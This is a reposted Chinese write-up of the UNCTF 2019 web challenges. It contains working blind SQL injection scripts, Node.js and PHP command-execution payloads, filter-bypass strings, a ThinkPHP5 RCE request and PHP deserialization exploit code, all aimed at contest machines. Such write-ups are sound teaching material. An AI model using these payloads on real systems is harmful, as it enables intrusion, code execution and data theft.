UNCTF 2019竞技赛 Web部分Writeup

2019-11-07 约 1082 字 预计阅读 6 分钟

声明:本文 【UNCTF 2019竞技赛 Web部分Writeup】 由作者 Somnus 于 2019-11-07 09:14:06 首发 先知社区 曾经 浏览数 52 次

感谢 Somnus 的辛苦付出!

前言

竞技赛持续了7天,为了肝题也是7天没有睡好觉,不过这个比赛也学到很多,在这里比心出题师傅和客服师傅们,比赛真的办的很用心。这次总共16道Web题,最后肝出了11道,6道一血,1道三血。WP尽量具体,把我整个做题过程的思路带上。希望能给大家带来帮助~

1.给赵总征婚(300 points)

考点:爆破密码

解题步骤:

1.用源码提示的rockyou字典爆破admin的密码即可

2.NSB Reset Password(300 points)

考点:Session

解题步骤:

1.打开靶机,发现跟上一题征婚相比,多了一个注册功能,随便注册一个账号登陆

2.还有个重置密码的页面排除上一题爆破密码的可能,猜测这题需要重置admin的密码

3.重置密码需要通过一个验证码校验,验证码是通过发送邮箱获得,但是我们不知道admin的邮箱

4.另外发现,删了cookie后,原来的账号就不存在了,说明,这题是根据session来判断当前用户的,那么就可以猜想,如果我们一开始去修改我们注册的用户,然后利用自己邮箱的验证码通过验证,再用另一个页面同样的session去重置admin,而当前重置的密码根据session判断我们要修改的用户(此时已经变成了admin),所以即可成功修改admin的密码

5.重置密码后登陆admin获得flag

3.Twice_injection(500 points)

考点:二次注入,mysql5.7特性

解题步骤:

1.打开靶机,发现环境是sql-labs 第24关,注入点在pass_change.php的修改密码处的用户名字段,因为是直接从Session中取出后拼接到update语句中,从而造成二次注入

2.按照sql-labs的做法,修改admin用户密码,登陆后发现没有flag,说明flag在数据库中

3.布尔盲注,盲注payload:

admin' and ascii(substr(database(),%d,1))=%d#

在username字段后构造条件语句,如果条件为真,则修改密码成功,为假则修改密码失败

4.注出数据库名:security,在尝试注表时发现关键字or被过滤了,所以不能使用information_schema

5.注版本信息发现mysql版本为5.7,所以可以利用自带的mysql库中新增的innodb_table_stats这个表,来获得数据库名和表名,参考:https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/

6.注表名payload:

admin' and ascii(substr((select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()),%d,1))=%d#

7.获得fl4g表:

8.最后获取flag的exp:

import requests

index_url = "http://101.71.29.5:10002/index.php"
login_url = "http://101.71.29.5:10002/login.php"
pass_change_url = "http://101.71.29.5:10002/pass_change.php"
register_url = "http://101.71.29.5:10002/login_create.php"
s = requests.Session()
database = ""#mysql,security,sys
version = "5.7.27"
table_name = "emails,referers,uagents,users" #gtid_executed,fl4g,sys

for i in range(1,50):
    for j in range(44,128):
        register_data = {
            "username":"admin' and ascii(substr((select * from fl4g),%d,1))=%d######################somnus1234567890121"%(i,j),
            "password":"123",
            "re_password":"123",
            "submit":"Register"
        }
        r1 = s.post(register_url,data=register_data)
        login_data = {
            "login_user":"admin' and ascii(substr((select * from fl4g),%d,1))=%d######################somnus1234567890121"%(i,j),
            "login_password": "123",
            "mysubmit": "Login"
        }
        r2 = s.post(login_url,data=login_data)
        pass_change_data = {
            "current_password": "123",
            "password": "somnus1" + str(i),
            "re_password": "somnus1" + str(i),
            "submit": "Reset"
        }
        r3 = s.post(pass_change_url, data=pass_change_data)
        if "Password successfully updated" in r3.text:
            database = database + chr(j)
            print database
            break

4.checkin(600 points)

考点:nodejs注入

解题步骤:

1.打开靶机,发现是一个websocket的js网站,/js/app.03bc1faf.js中可以看到源码

2.根据提示,需要我们先输入/name nickname来进行登陆,登陆后,审计源码发现可以执行一个calc操作

3.执行/calc 5*6 发现返回30,猜测这里存在命令执行,参考:Node.js代码审计之eval远程命令执行漏洞

4.调用child_process模块执行命令,题目过滤了空格,用$IFS替代

5.执行ls:

/calc require("child_process").execSync("ls$IFS/").toString()

6.cat flag:

/calc require("child_process").execSync("cat$IFS/flag").toString()

5.简单的备忘录(800 points)

考点:graphql

解题步骤:

1.打开靶机,有个链接,访问发现是一个graphql的查询接口

2.通过get-graphql-schema工具将graphql模式都一一列举出来:

$get-graphql-schema http://101.71.29.5:10012/graphql

3.摸清层次后,进行层层嵌套查询

{
  allUsers {
    edges {
      node {
        id
        username
        memos{
          pageInfo {
            hasPreviousPage
            hasNextPage
            startCursor
            endCursor
          }
          edges{
            node{
              id
              content
            }
          }
        }
      }
      cursor
    }
  }
}

4.flag就在Meno类的content字段中

6.加密的备忘录(1000 points)

考点:graphql,unicode变形编码还原

解题步骤:

1.打开靶机,源码提示我们:

<!--     GraphQL 真方便       All your base are belong to us!!!!!      -->

2.访问一下,还是有graphql接口,只是没有像上一题那样写一个界面

3.同样用get-graphql-schema列出结构:

4.相比于上一题,发现Query类中多了一个方法checkPass,类Memo_也多了一个成员属性password,我们同样用上一关的payload来查询一下结果

5.查询结果发现,相比于之前那题,content字段和多出来的password字段的值看起来像是经过unicode编码,将password字段值拿去unicode解码,发现是一串很奇怪的汉字

6.想到还有一个方法checkPass没试,于是构造一下数据包:

从查询结果来分析,我们输入的password:1貌似经过了unicode编码后,返回告诉我们这个密码查询结果为空

7.把1经过unicode编码后的字符串:\u4e3a\u6211\u7231\u7231,再次拿去解码,又是一串看不懂的中文:

8.而如果我们直接把前面查的password字段中的字符串拿来查询,结果出现整形溢出而报错

9.所以猜测:这个checkPass方法会将我们查询的password值进行一次变形的unicode编码后,进行查询,那么,我们就需要将password字段值进行还原明文的操作。通过测试发现,可以进行逐位爆破明文,现在我们要破解的是password密文:

\u8981\u6709\u4e86\u4ea7\u4e8e\u4e86\u4e3b\u65b9\u4ee5\u5b9a\u4eba\u65b9\u4e8e\u6709\u6210\u4ee5\u4ed6\u7684\u7231\u7231

那么,首先先对第一个密文字符串:\u8981进行解密

首先爆破第一位明文:

爆破发现,第一个明文范围可能为[H-K]

第二个明文,就根据第一个明文的可能来列举爆破,看看是否符合最前面两串密文字符串:\u8981\u6709

发现,第一个明文字符为H时,第二个明文字符为[a-o],前两串密文都满足:\u8981\u6709

由此确定,第一个明文字符为:H

以此类推,根据checkPass返回的结果来逐位爆破出明文

10.按照这个思路,编写爆破exp,代码如下:

import requests
import string
import json
import re
from time import sleep

url = "http://101.71.29.5:10037/graphql"
s = string.ascii_letters + string.digits + "{}"

password = "\u8981\u6709\u4e86\u4ea7\u4e8e\u4e86\u4e3b\u65b9\u4ee5\u5b9a\u4eba\u65b9\u4e8e\u6709\u6210\u4ee5\u4ed6\u7684\u7231\u7231"
#password = "\u5230\u5e74\u79cd\u6210\u5230\u5b9a\u8fc7\u6210\u4e2a\u4ed6\u6210\u4f1a\u4e3a\u800c\u65f6\u65b9\u4e0a\u800c\u5230\u5e74\u5230\u5e74\u4ee5\u53ef\u4e3a\u591a\u4e3a\u800c\u5230\u53ef\u5bf9\u65b9\u751f\u800c\u4ee5\u5e74\u4e3a\u6709\u5230\u6210\u4e0a\u53ef\u6211\u884c\u5230\u4ed6\u7684\u9762\u4e3a\u4eec\u65b9\u7231"
find_password = ""
change_password = ""#HappY4Gr4phQL
pass_list = password.split("\u")[1:]
count = 0
query = {"query":"{\n  checkPass(memoId: 1, password:\"%s\")\n}\n"}
query = json.dumps(query)
headers = {
    "Content-Type":"application/json"
}

while find_password != password:
    possible_list = []
    end = 0
    for i in s:
        payload = query % (change_password + i)
        s1 = requests.Session()
        r = s1.post(url,headers= headers,data=payload)
        sleep(0.1)
        message = str(re.findall("'(.*)' not",r.text)[0])
        message_list = message.split("\u")[1:]
        if (message_list[count] == pass_list[count]) and (message_list[count + 1] == pass_list[count + 1]) and (message_list[count + 2] == pass_list[count + 2]):
            change_password = change_password + i
            end = 1
            break
        elif message_list[count] == pass_list[count]:
            possible_list.append(i)
    if end == 1:
        print change_password
        break
    #print possible_list
    count = count + 1
    poss1_list = []
    for j in possible_list:
        for z in s:
            payload = query % (change_password+j+z)
            s1 = requests.Session()
            r1 = s1.post(url, headers=headers, data=payload)
            sleep(0.1)
            message = str(re.findall("'(.*)' not", r1.text)[0])
            message_list = message.split("\u")[1:]
            if (message_list[count] == pass_list[count]) and (message_list[count + 1] == pass_list[count + 1]) and (message_list[count + 2] == pass_list[count + 2]):
                end = 1
                break
            elif message_list[count] == pass_list[count]:
                poss1_list.append(z)
        if len(poss1_list) != 0:
            change_password = change_password + j
            if end == 1:
                change_password = change_password + z
            find_password = find_password + "\u" + pass_list[count - 1]
            break
        if end == 1:
            break
    if end == 1:
        print change_password
        break
    #print poss1_list
    if len(poss1_list) == 1:
        print change_password
        continue
    else:
        count = count + 1
        for k in poss1_list:
            for m in s:
                payload = query % (change_password + k + m)
                s1 = requests.Session()
                r2 = s1.post(url,headers=headers,data=payload)
                sleep(0.1)
                message = str(re.findall("'(.*)' not", r2.text)[0])
                message_list = message.split("\u")[1:]
                if (message_list[count] == pass_list[count]) and (message_list[count + 1] == pass_list[count + 1]):
                    change_password = change_password + k + m
                    find_password = find_password + "\u" + pass_list[count - 1] + "\u" + pass_list[count] + "\u" + pass_list[count + 1]
                    end = 1
                    break
            if end == 1:
                break
        count = count + 2
        print change_password
        print find_password

11.跑出的密码是:HappY4Gr4phQL

检查一下是否正确:

12.查询结果为true,说明正确,但是,没有返回flag,这时候突然想到,content字段中也有一串密文,按照上题来看,flag估计就是content字段的明文值了,于是继续爆破content字段密文

13.最后跑出flag

7.审计一下世界上最好的语言吧(1000 points)

考点:代码审计,命令执行

解题步骤:

1.下载www.zip,审计源码

2.漏洞触发点很明显,只有一个,在parse_template.phpparseIf函数中

分析发现,该函数对传入的参数$content进行{if:(.*?)}(.*?){end if}规则的正则匹配,将匹配的结果的第一个元素,即{if:(.*?)}的(.*?)匹配字符串拼接到eval函数中执行命令

3.接着找找哪里调用了parseIf函数

parse_template.phpparse_again函数的末尾,调用了该函数,继续跟踪,就发现在index.php的最后,调用了parse_again函数

4.接下来,就是想办法让输入的参数符合条件,来执行parse_again函数,进而执行parseIf函数,触发漏洞

5.首先看下全局过滤:common.php

全局文件common.php对GET,POST,COOKIE中的参数进行了进行了check_var的检查,过滤了关键字:_GET,_POST,GLOBALS,然后,进行了变量覆盖的操作

6.所以执行parse_again函数的条件,就是content参数符合正则匹配:<search>(.*?)<\/search>

也就是说,我们随便传个参数?content=<search>123</search>就可以执行parse_again

7.然后重点审计parse_again函数

该函数处理过程大致是:对传入的searchnumtypetypename和index.php中一开始传入的参数content,进行一个RemoveXSS的过滤,该函数过滤了大部分关键字:

其中就包括了parseIf函数中匹配的关键字:if:

过滤后,截取前20个字符,进行template.html模板文件的标签替换,最后触发parseIf,通过eval执行模板文件中符合{if:(.*?)}(.*?){end if}正则匹配的第一个结果字符串

如果我们输入的参数包含{if:,经过RemoveXSS处理后就变成了{if<x>:,那么必然就不符合后面的匹配

所以,我们首先需要想办法来绕过RemoveXSS的过滤

我们可以发现,在RemoveXSS的过滤和执行parseIf的中间,还进行了4次的str_replace函数的替换,那么,我们就可以利用替换,来绕过过滤,比如我们传入:

?content=<search>{i<haha:type>f:phpinfo()}{end if}</search>

因为type参数为空,所以最后传入parseIf函数的内容就包括:

<search>{if:phpinfo()}{end if}</search>

就能成功匹配了,但是,这里还有长度20的限制,所以,我们可以通过多次替换,来绕过限制

在模板文件中,存在一处可以让我们通过拼接来凑成{if:(.*?)}(.*?){end if}匹配结构的地方

8.传入payload:

?content=?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:phpinfo()}

成功执行phpinfo,看看有没有disable_functions的限制

没有限制

8.接下来就是读flag.php文件,选用一个最短的readfile函数

?content=?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:readfile('flag.php')}

但是,这样type参数长度还是超过了20,这时候,想到还有最后一个参数typename没有利用到,于是,传入:

?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:rea{haha:typename}&typename=dfile(%27flag.php%27)}

8.bypass(800 points)

考点:rce,正则匹配特点,文件通配符,命令换行,命令注释

1.源码:

命令执行bypass,过滤点有两处

(1)正则匹配的黑名单:

if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
        $a = "";

(2)对输入参数强制包裹双引号"":

$a ='"' . $a . '"';

其实最致命的是第二处过滤,强制添加双引号,即使我们输入了黑名单里没有的命令,在双引号的作用下,也执行不了命令

所以,这时候就想到了,强制命令执行的反引号`

2.但是,这里好像正则过滤了?其实没有,不信,我们测试一下:

很惊奇的发现,由于前面存在的:

\\|

会将|进行转义,这是因为在preg_match中,三个反斜杠\\\才能匹配一个真正意义上的字符反斜杠\,所以这里因为正则的匹配机制造成了反引号逃逸

3.执行命令:

?a=`uname`

果然成功执行uname,那么接下来,就是想办法列目录了,虽然这里ls被禁用了,但是我们还可以用dir

?a=`dir /`

4.但是没有发现flag文件,试着找了其他常见目录下,也未发现,那么,就试着执行查找文件名操作:find

虽然find在黑名单中,但是,我们可以通过执行二进制文件通配符?的结合来进行绕过

payload:

?a=`/usr/b??/???d / -name ?lag`

但是还是未找到flag文件,再试着grep -R来搜索flag内容ctf,payload:

?a=`/?in/gre?%20-R%20ctf`

发现flag

5.不过这是非预期解,后面出题人把\\位置换到\^的前面,预期解是:

?a=\&b=%0a/???/gr?p%20-R%20ctf%20%23

实质上还是因为正则\\匹配不到\的问题,使用了换行%0a,再结合linux的命令终止符%20#处理双引号,最终的命令为:

file "\" "
/???/gr?p -R ctf #"

9.easy_admin(1000 points)

考点:sql注入,HTTP头部修改

解题步骤:

1.打开靶机,是一个登陆界面

2.扫描目录,发现存在admin.php

3.另外还有个forget.php

思路就应该是要登陆admin,在forget.php中发现username存在注入点,用户名不存在时会返回no this user,利用这个点进行布尔盲注

fuzz发现过滤了orandselect等关键字,用&&来代替and即可,盲注脚本如下:

import requests

url = "http://101.71.29.5:10045/index.php?file=forget"
password = ""
for i in range(1,50):
    for j in range(44,128):
        data= {
            "username":"admin' && ascii(substr(password,%d,1))=%d#"%(i,j)
        }
        r = requests.post(url,data=data)
        if "no this user" not in r.text:
            password = password + chr(j)
            print password

4.跑出admin的密码:flag{never_too

然后登陆admin

提示我们:admin will access the website from,于是加个头部字段:

Referer:127.0.0.1

拿到另一半flag

最后的flag就是:flag{never_too_late_to_x}

10.easy_pentest(1000 points)

考点:tp框架特性,信息泄露,rce

解题步骤:

1.考点即题目的两个hint:

Hint1:tp框架特性 
Hint2:万物皆有其根本,3.x版本有,5.x也有,严格来说只能算信息泄露

2.测试发现,我们输入index.php等已知的tp文件,都会自动跳转回not_safe.html,我们首先要找到泄露信息的点,获得权限去访问

3.信息泄露,就想到了去查看tp日志

通过fuzz,发现runtime/log/201910/02.log存在信息泄露

4.发现一个关键的参数safe_key,然后根据上面写的头部再次访问

访问成功,跳转到了safe_page.html,并获取到了tp版本为5

5.接下来,就是去找tp5是否存在已知爆出的远程rce的漏洞,参考:ThinkPHP5漏洞分析之代码执行(十)

6.漏洞点是tp5的method代码执行,漏洞触发点在call_user_func函数

7.直接拿payload打过去

8.成功执行,后面测试发现过滤了如下内容:

file关键字

php短标签:
<?php
<?
<?=

php伪协议:
php://filter

disable_functions:system,shell_exec,exec,proc_open,passthru等命令执行函数

9.另外php版本是7.1,也就是说assert不能动态调用了,而eval在php手册中已经写道:是一个language construct,而不是一个函数,所以也不能通过call_user_func来调用

10.我们能利用的就只有读取文件show_source和扫描目录scandir,show_source可以很轻松的读到/etc/passwd,但是不知道flag文件路径,而scandir会因为是返回数组而无法输出

11.所以得想办法,输出scandir,参考:记一次有趣的tp5代码执行,里面提到filter可以通过传递多个来对参数进行多次的处理

12.所以,可以先传入filter[]=scandir&get[]=/,这样读取完目录后。传入filter[]=var_dump,就可以成功输出扫描目录结果了

13.payload:

POST /public/index.php?safe_key=easy_pentesnt_is_s0fun HTTP/1.1
Host: 101.71.29.5:10021
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
x-requested-with: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1
Referer: http://101.71.29.5:10021/public/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 84

_method=__construct&method=get&server[]=1&filter[]=scandir&get[]=/&filter[]=var_dump

14.flag文件在/home目录下

15.最后读取flag

11.K&K战队的老家(1000 points)

考点:万能密码,LFI,代码审计,反序列化

解题步骤:

1.打开靶机,是一个登陆界面

2.用万能密码即可登陆:

3.登陆后,给了我们一串看不懂的cookie:

%26144%2616a%2615f%26123%2613f%26159%2613a%2616a%2614a%26148%2613e%2616a%26151%26147%26129%26165%26139%2615a%2615f%2616a%2613f%2615e%26164%2616a%2613f%2615a%26149%26126%26139%2615d%2613e%2615f%26152%26122%26129%2616a%2614a%26143%26139%26127%26151%26144%2615f%26168%2613f%26123%2613d%26126%2613d%2615a%2615f%26159%26151%26147%26141%26159%2613f%26122%2615b%26126%2613d%26144%26164%2616a%2613f%2615a%26157%26126%26139%2615e%26146%2616a%2614a%26148%2613a%26165%26149%26147%26121%2615c%26139%2615a%26164%2616a%2613f%2615a%26153%26126%26139%2615e%26146%26165%26149%26147%26142%26164%26151%26147%26124%26159%2613f%26123%26120%2612d

4.然后来到后台,源码中发现有个debug功能,并且m参数疑似存在LFI

5.访问debug

6.提示cookie出错,猜想可能需要伪造一个正确的cookie,才能使用debug功能,那么就需要获取源码

7.m参数过滤了关键字phpbase64,尝试大小写,发现可以绕过,读取源码:

?m=PHP://filter/convert.Base64-encode/resource=home

8.拿到源码后,审计发现,在debug.php的魔术方法__toString中,存在包含flag.php文件的操作,那么这就是我们最后要执行的地方

9.触发__toString魔术方法的条件就是把类当作字符串输出,对应debug.phpdebug方法的末尾方法

要触发debug方法,就在home.php末尾代码:

10.但是中间有许多waf需要我们bypass

(1)check函数:check($cookie, $db, $session);

此处存在反序列点,而且$objstr对应cookie的identity字段,没用过滤,是可控的,我们可以进行任意的反序列化操作

这里只需要没反序列化正确,就能通过

(2)index_check函数:index_check($session->id, $session->username);

返回结果数量不能小于4,即我们反序列化后对象的username和id字段拼接道Sql语句后必须有查询结果

(3)debug类的__construct魔术方法,check1函数

检查对象的username字段是否为debuger,意思是我们查询的用户名必须是debugercheck1函数同理

(4)最后输出echo $this->forbidden;

虽然前后矛盾,但是细看,第一个比较是===,而第二个比较switch则是弱类型比较即==,所以我们可以让$this->choose为"2",即可绕过过滤

11.综上,写出如下POC:

<?php

function cookie_encode($str) {
    $key = base64_encode($str);
    $key = bin2hex($key);
    $arr = str_split($key, 2);
    $cipher = '';
    foreach($arr as $value) {
        $num = hexdec($value);
        $num = $num + 240;
        $cipher = $cipher.'&'.dechex($num);
    }
    return $cipher;
}

class session{
    public $choose = 1;
    public $id = 0;
    public $username = "";
}

class debug
{
    public $choose = "2";
    public $forbidden = "";
    public $access_token = "";
    public $ob = NULL;
    public $id = 2;
    public $username = "debuger";

    public function __construct()
    {
        $this->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}');
    }
}

$d = new debug();
//echo serialize($d);
echo cookie_encode(serialize($d));

?>

12.运行得到cookie的payload:

&144&16a&15f&121&13f&159&13a&15b&14a&147&13a&121&14a&169&139&126&13e&15a&160&127&153&16a&15f&122&13f&159&13a&15a&151&137&129&166&153&122&145&159&13f&123&13d&126&13d&144&15f&159&13d&159&139&127&153&16a&15f&125&13f&159&13a&15d&152&123&13a&159&151&147&142&15b&14a&147&124&159&13f&120&128&126&13e&144&15f&159&14a&137&146&159&154&147&153&159&13f&15a&149&126&155&123&13d&126&13e&15a&15f&159&149&122&158&166&152&123&13e&15c&139&15a&164&16a&13f&15a&135&126&139&15a&139&159&13f&123&13d&126&13f&144&15f&159&14a&15d&129&169&149&15d&15c&15b&14a&137&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&168&13d&15a&15f&159&149&147&13e&15a&14a&148&13e&16a&148&123&142&166&151&122&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&169&13f&159&13a&166&149&159&139&127&144&15a&164&16a&13f&15a&139&126&139&15d&15c&15b&139&15a&164&160&13f&15a&139&127&153&16a&15f&124&13f&159&13a&121&153&122&146&169&152&15d&136&164&14a&143&139&127&153&16a&15f&123&13f&159&13a&15b&14a&147&13a&121&14a&122&146&169&139&15a&164&129&153&16a&15f&168&13d&15a&15f&159&149&147&13e&15a&14a&148&13e&16a&148&123&142&166&151&122&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&169&13f&159&13a&166&149&159&139&127&144&15a&164&16a&13f&15a&139&126&139&15d&15c&15b&139&15a&164&160&13f&15a&139&127&153&16a&15f&124&13f&159&13a&121&153&122&146&169&152&15d&136&164&14a&143&139&127&153&16a&15f&123&13f&159&13a&15b&14a&147&13a&121&14a&122&146&169&139&15a&164&129

13.传入后发现,此时已经成功包含flag.php,但是,提示了一段信息:token error,并且告诉我们在flag.php中还包含了access.php猜想可能对应类中的access_token参数,但是因为是include,所以我们看不到flag.php的源码。这里也是卡了很久,后来才发现有备份文件:access.php.bak

<?php
error_reporting(0);
$hack_token = '3ecReK&key';
try {
    $d = unserialize($this->funny);
} catch(Exception $e) {
    echo '';
}
?>

14.那么,我们再添加一个参数$this->funny,反序列化后的access_token3ecReK&key即可

最终POC:

<?php

function cookie_encode($str) {
    $key = base64_encode($str);
    $key = bin2hex($key);
    $arr = str_split($key, 2);
    $cipher = '';
    foreach($arr as $value) {
        $num = hexdec($value);
        $num = $num + 240;
        $cipher = $cipher.'&'.dechex($num);
    }
    return $cipher;
}

class session{
    public $choose = 1;
    public $id = 0;
    public $username = "";
}

class debug
{
    public $choose = "2";
    public $forbidden = "";
    public $access_token = "";
    public $ob = NULL;
    public $id = 2;
    public $username = "debuger";
    public $funny = 'O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:10:"3ecReK&key";s:2:"ob";N;}';

    public function __construct()
    {
        $this->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}');
    }
}

$d = new debug();
//echo serialize($d);
echo cookie_encode(serialize($d));

?>

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now